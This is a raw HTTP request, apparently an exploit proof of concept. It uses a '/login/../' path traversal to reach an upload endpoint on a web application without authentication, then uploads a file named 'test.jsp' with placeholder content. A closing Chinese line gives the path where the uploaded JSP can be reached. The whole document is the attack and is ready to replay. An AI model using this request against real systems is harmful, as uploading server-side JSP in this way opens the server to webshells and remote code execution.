POST /mp/login/../uploadControl/uploadFile HTTP/1.1
Host: 192.168.63.133:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Length: 314
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
111
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp
文件路径：http:127.0.0.1/mp/uploadFileDir/test.jsp